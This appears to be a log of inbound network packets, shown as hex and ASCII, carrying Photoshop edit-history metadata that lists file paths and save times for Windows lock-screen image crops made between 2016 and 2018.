C:\Users\v-lizagh\MS\Windows10\Bing-Olympics\Chosen\Crops\Bing-Olympics_GettyImages-78808607_1080x1920.jpg saved 2016-07-20T15:42:12-07:00 File C:\Users\v-lizagh\MS
2022-07-21 02:34:51 UTC	7285	IN	Data Raw: 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 44 34 34 44 30 30 33 34 44 31 44 31 46 35 35 46 32 43 44 35 45 37 31 34 43 34 45 44 45 44 31 44 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 30 3a 35 38 3a 35 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 5f 43 72 6f 70 73 5c 45 64 67 65 2d 4c 69 66 65 73 74 79 6c 65 5f 47 65 74 74 79 49 6d 61 67 Data Ascii: \Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1080x1920_PortraitD44D0034D1D1F55F2CD5E714C4EDED1D.psb saved 2016-07-26T10:58:57-07:00 File C:\Users\v-lizagh\MS\Windows10\Edge\_Crops\Edge-Lifestyle_GettyImag
2022-07-21 02:34:51 UTC	7301	IN	Data Raw: 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 53 75 72 66 61 63 65 5c 4a 75 61 6e 5c 53 75 72 66 61 63 65 50 65 6e 5c 43 72 6f 70 73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 33 31 54 31 33 3a 32 35 3a 35 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 53 75 72 66 61 63 65 5c 4a 75 61 6e 5c 53 75 72 66 61 63 65 50 65 6e 5c 43 72 6f 70 73 5c 53 55 52 31 35 5f 50 65 6e 5f 30 31 5f 42 4b 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 Data Ascii: x9;File C:\Users\v-lizagh\MS\Windows10\Surface\Juan\SurfacePen\Crops\Lockscreen_1080x1920_Portrait.psd saved 2016-08-31T13:25:59-07:00 File C:\Users\v-lizagh\MS\Windows10\Surface\Juan\SurfacePen\Crops\SUR15_Pen_01_BK_1080x1920.jpg saved 2016-0
2022-07-21 02:34:51 UTC	7317	IN	Data Raw: 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 49 6e 73 69 64 65 72 45 76 65 6e 74 5c 49 6e 73 69 64 65 72 45 76 65 6e 74 5f 49 6e 76 69 74 61 74 69 6f 6e 5f 69 6c 6c 75 73 74 72 61 74 69 6f 6e 2d 46 49 4e 41 4c 2d 4e 4f 48 45 41 44 4c 49 4e 45 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 31 34 54 31 34 3a 34 35 3a 34 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 31 37 54 30 38 3a 33 34 3a 35 36 2d 30 37 3a 30 Data Ascii: :\Users\v-lizagh\MS\Windows10\InsiderEvent\InsiderEvent_Invitation_illustration-FINAL-NOHEADLINE_1080x1920.jpg saved 2016-10-14T14:45:42-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved 2016-10-17T08:34:56-07:0
2022-07-21 02:34:51 UTC	7325	IN	Data Raw: 3b 32 30 31 36 2d 31 31 2d 30 38 54 30 30 3a 31 39 3a 31 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 30 54 31 31 3a 34 32 3a 35 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 30 54 31 31 3a 34 35 3a 35 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 Data Ascii: ;2016-11-08T00:19:13-08:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved 2016-11-10T11:42:56-08:00 File Lockscreen_1080x1920_Portrait.psd opened 2016-11-10T11:45:54-08:00 File C:\Users\v-lizagh\MS\Windows1
2022-07-21 02:34:51 UTC	7341	IN	Data Raw: 45 64 67 65 5c 50 72 6f 64 75 63 74 69 76 69 74 79 54 69 70 73 5c 5f 43 48 4f 53 45 4e 5c 45 64 67 65 2d 53 74 61 72 74 4d 65 6e 75 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 37 38 38 31 32 33 36 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 31 31 54 31 31 3a 30 33 3a 33 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 31 31 54 31 31 3a 30 36 3a 33 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d Data Ascii: Edge\ProductivityTips\_CHOSEN\Edge-StartMenu_GettyImages-167881236_1080x1920.jpg saved 2017-01-11T11:03:33-08:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved 2017-01-11T11:06:33-08:00 File C:\Users\v-lizagh\M
2022-07-21 02:34:51 UTC	7357	IN	Data Raw: 61 72 63 68 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 31 35 30 37 32 31 39 32 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 32 54 31 30 3a 35 31 3a 34 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 53 70 72 69 6e 67 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 4d 61 72 63 68 5c 43 48 4f 53 45 4e 5c 4d 49 54 2d 53 70 72 69 6e 67 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5f 4d 61 72 63 68 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 39 31 38 36 39 39 35 33 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 32 54 31 30 3a 35 Data Ascii: arch_GettyImages-515072192_1080x1920.jpg saved 2017-02-22T10:51:42-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\SpringEntertainment\March\CHOSEN\MIT-SpringEntertainment_March_GettyImages-591869953_1080x1920.jpg saved 2017-02-22T10:5
2022-07-21 02:34:51 UTC	7365	IN	Data Raw: 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 61 6b 65 57 68 61 74 73 4e 65 78 74 5c 43 48 4f 53 45 4e 5c 4d 53 2d 4d 61 6b 65 57 68 61 74 73 4e 65 78 74 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 35 35 34 37 35 37 37 37 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 30 37 54 31 31 3a 30 35 3a 32 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 61 6b 65 57 68 61 74 73 4e 65 78 74 5c 43 48 4f 53 45 4e 5c 4d 53 2d 4d 61 6b 65 57 68 61 74 73 4e 65 78 74 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 37 38 33 31 39 38 35 36 5f Data Ascii: rs\v-lizagh\MS\Windows10\Microsoft\MakeWhatsNext\CHOSEN\MS-MakeWhatsNext_GettyImages-155475777_1080x1920.jpg saved 2017-03-07T11:05:25-08:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\MakeWhatsNext\CHOSEN\MS-MakeWhatsNext_GettyImages-478319856_
2022-07-21 02:34:51 UTC	7381	IN	Data Raw: 78 41 3b 32 30 31 37 2d 30 34 2d 31 32 54 31 35 3a 35 38 3a 35 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 5c 42 69 6e 67 41 74 57 6f 72 6b 5c 43 48 4f 53 45 4e 5c 42 69 6e 67 41 74 57 6f 72 6b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 31 30 32 32 32 38 33 32 5f 31 30 38 30 78 31 39 32 30 5f 77 74 72 6d 72 6b 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 31 32 54 31 35 3a 35 39 3a 34 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e Data Ascii: xA;2017-04-12T15:58:50-07:00 File C:\Users\v-lizagh\MS\Windows10\Bing\BingAtWork\CHOSEN\BingAtWork_GettyImages-510222832_1080x1920_wtrmrk.jpg saved 2017-04-12T15:59:47-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.
2022-07-21 02:34:51 UTC	7397	IN	Data Raw: 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 32 54 31 36 3a 31 31 3a 32 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 47 65 6e 65 72 61 6c 2d 53 70 6f 74 6c 69 67 68 74 5f 51 34 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 47 65 6e 65 72 69 63 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 35 36 32 39 39 34 34 33 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 32 54 31 36 3a 31 33 3a 32 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 Data Ascii: saved 2017-05-12T16:11:27-07:00 File C:\Users\v-lizagh\MS\Windows10\Office\Office-General-Spotlight_Q4\Crops\OfficeGeneric_GettyImages-656299443_1080x1920.jpg saved 2017-05-12T16:13:24-07:00 File C:\Users\v-lizagh\MS\Windows10\Office\Offi
2022-07-21 02:34:51 UTC	7405	IN	Data Raw: 68 79 73 5c 57 69 6e 64 6f 77 73 31 30 2d 4c 6f 63 6b 5c 4c 6f 63 6b 32 30 31 37 5f 42 61 74 63 68 35 5f 53 41 2d 41 46 5c 43 72 6f 70 73 5c 4c 6f 63 6b 32 30 31 37 2d 42 35 5f 41 46 5f 4f 72 79 78 4e 61 6d 69 62 69 61 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 36 36 36 36 38 32 39 36 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 32 35 54 32 32 3a 30 37 3a 31 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f Data Ascii: hys\Windows10-Lock\Lock2017_Batch5_SA-AF\Crops\Lock2017-B5_AF_OryxNamibia_GettyImages-466668296_1080x1920.jpg saved 2017-05-25T22:07:12-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1080x1920_Po
2022-07-21 02:34:51 UTC	7421	IN	Data Raw: 68 6f 6f 6c 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 42 61 63 6b 54 6f 53 63 68 6f 6f 6c 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 35 38 39 33 34 34 39 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 31 33 54 31 36 3a 34 34 3a 30 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 42 61 63 6b 54 6f 53 63 68 6f 6f 6c 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 42 61 63 6b 54 6f 53 63 68 6f 6f 6c 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 35 38 39 33 34 34 39 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d Data Ascii: hool\Chosen\Crops\MIT-BackToSchool_GettyImages-158934490_1080x1920.jpg saved 2017-07-13T16:44:01-07:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\BackToSchool\Chosen\Crops\MIT-BackToSchool_GettyImages-158934490_1080x1920.jpg saved 2017-
2022-07-21 02:34:51 UTC	7437	IN	Data Raw: 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 45 64 67 65 47 72 6f 77 74 68 49 6d 61 67 65 73 5c 4c 6f 63 6b 32 30 31 37 5f 42 61 74 63 68 36 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4c 6f 63 6b 32 30 31 37 2d 42 36 5f 44 65 6e 61 6c 69 54 6f 77 65 72 41 6c 61 73 6b 61 5f 4f 66 66 73 65 74 5f 35 30 37 35 36 37 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 30 32 54 31 36 3a 33 39 3a 35 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 Data Ascii: izagh\MS\Windows10\BingEdgeGrowthImages\Lock2017_Batch6\_CHOSEN\Crops\Lock2017-B6_DenaliTowerAlaska_Offset_507567_1080x1920.jpg saved 2017-08-02T16:39:51-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved 2017-08
2022-07-21 02:34:51 UTC	7444	IN	Data Raw: 43 72 6f 70 73 5c 51 75 6f 74 65 44 61 79 48 69 73 74 6f 72 79 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 31 38 30 35 35 34 36 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 32 39 54 31 35 3a 35 35 3a 34 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 51 75 6f 74 65 44 61 79 48 69 73 74 6f 72 79 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 36 36 30 31 33 31 32 39 5f 31 30 38 30 78 31 39 32 30 31 37 44 42 36 38 31 46 37 30 45 32 35 38 30 46 41 32 41 44 45 31 38 43 30 41 35 39 Data Ascii: Crops\QuoteDayHistory_GettyImages-518055460_1080x1920.jpg saved 2017-08-29T15:55:48-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_QuoteDayHistory_GettyImages-466013129_1080x192017DB681F70E2580FA2ADE18C0A59
2022-07-21 02:34:51 UTC	7460	IN	Data Raw: 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 45 64 67 65 47 72 6f 77 74 68 49 6d 61 67 65 73 5c 4c 6f 63 6b 32 30 31 37 5f 42 61 74 63 68 38 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4c 6f 63 6b 32 30 31 37 2d 42 38 5f 42 65 61 63 68 53 61 72 64 69 6e 69 61 49 74 61 6c 79 5f 70 38 37 31 6d 31 30 30 36 32 36 32 66 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 30 2d 32 33 54 31 36 3a 32 38 3a 33 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 45 64 67 65 47 72 6f 77 74 68 49 6d 61 67 65 73 5c 4c 6f 63 6b 32 30 31 37 5f 42 61 74 63 68 Data Ascii: ile C:\Users\v-lizagh\MS\Windows10\BingEdgeGrowthImages\Lock2017_Batch8\CHOSEN\Crops\Lock2017-B8_BeachSardiniaItaly_p871m1006262f_1080x1920.psd saved 2017-10-23T16:28:36-07:00 File C:\Users\v-lizagh\MS\Windows10\BingEdgeGrowthImages\Lock2017_Batch
2022-07-21 02:34:51 UTC	7476	IN	Data Raw: 74 61 69 6e 6d 65 6e 74 5c 44 65 63 32 30 31 37 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 57 69 6e 74 65 72 45 6e 74 44 65 63 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 31 39 33 35 36 34 38 34 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 30 34 54 31 31 3a 33 33 3a 33 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 57 69 6e 74 65 72 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 44 65 63 32 30 31 37 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 57 69 6e 74 65 72 45 6e 74 44 65 63 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 31 39 33 35 36 34 38 34 5f 31 30 Data Ascii: tainment\Dec2017\Chosen\Crops\MIT-WinterEntDec_GettyImages-619356484_1920x1080.psd saved 2017-12-04T11:33:35-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\WinterEntertainment\Dec2017\Chosen\Crops\MIT-WinterEntDec_GettyImages-619356484_10
2022-07-21 02:34:51 UTC	7484	IN	Data Raw: 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 31 34 54 31 32 3a 32 35 3a 31 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 43 6f 6c 6c 65 67 65 46 6f 6f 74 62 61 6c 6c 42 6f 77 6c 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 43 6f 6c 6c 65 67 65 46 6f 6f 74 62 61 6c 6c 42 6f 77 6c 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 32 36 32 39 32 36 32 35 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 31 34 54 31 32 3a 32 38 3a 32 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 Data Ascii: 0x1920.psd saved 2017-12-14T12:25:13-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\CollegeFootballBowl\CHOSEN\Crops\MIT-CollegeFootballBowl_GettyImages-126292625_1080x1920.jpg saved 2017-12-14T12:28:26-08:00 File C:\Users\v-lizag
2022-07-21 02:34:51 UTC	7500	IN	Data Raw: 31 2d 31 39 54 31 31 3a 34 34 3a 34 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 5f 5f 54 65 6d 70 6c 61 74 65 73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 32 34 54 31 34 3a 34 36 3a 31 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 32 34 54 31 34 3a 35 31 3a 31 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e Data Ascii: 1-19T11:44:45-08:00 File C:\Users\v-lizagh\MS\Windows10\__Templates\Lockscreen_1080x1920_Portrait.psd saved 2018-01-24T14:46:18-08:00 File Lockscreen_1080x1920_Portrait.psd opened 2018-01-24T14:51:15-08:00 File C:\Users\v-lizagh\MS\Win
2022-07-21 02:34:51 UTC	7516	IN	Data Raw: 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 31 35 54 31 35 3a 31 38 3a 31 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 49 54 2d 49 6e 74 6c 5f 48 6f 6d 65 77 6f 72 6b 41 69 64 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 30 38 31 32 39 36 31 38 5f 31 30 38 30 78 31 39 32 30 46 33 42 36 43 35 32 41 37 45 38 43 36 31 34 41 36 30 43 42 42 30 46 45 43 36 35 34 37 35 37 30 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 31 35 54 31 35 3a 31 39 3a 33 30 2d 30 Data Ascii: 080x1920.jpg saved 2018-02-15T15:18:14-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_MIT-Intl_HomeworkAid_GettyImages-108129618_1080x1920F3B6C52A7E8C614A60CBB0FEC6547570.psb saved 2018-02-15T15:19:30-0
2022-07-21 02:34:51 UTC	7524	IN	Data Raw: 30 42 35 30 46 37 44 35 37 32 30 43 39 36 39 44 34 32 34 33 31 34 39 36 36 37 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 30 37 54 31 38 3a 34 30 3a 32 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 4d 4d 58 5c 42 61 74 63 68 33 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 4d 58 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 37 36 37 32 34 32 39 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 30 37 54 31 38 3a 34 32 3a 33 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c Data Ascii: 0B50F7D5720C969D4243149667.psb saved 2018-03-07T18:40:20-08:00 File C:\Users\v-lizagh\MS\Windows10\Windows\MMX\Batch3\CHOSEN\Crops\MMX_GettyImages-576724290_1080x1920.jpg saved 2018-03-07T18:42:33-08:00 File C:\Users\v-lizagh\MS\Windows10\
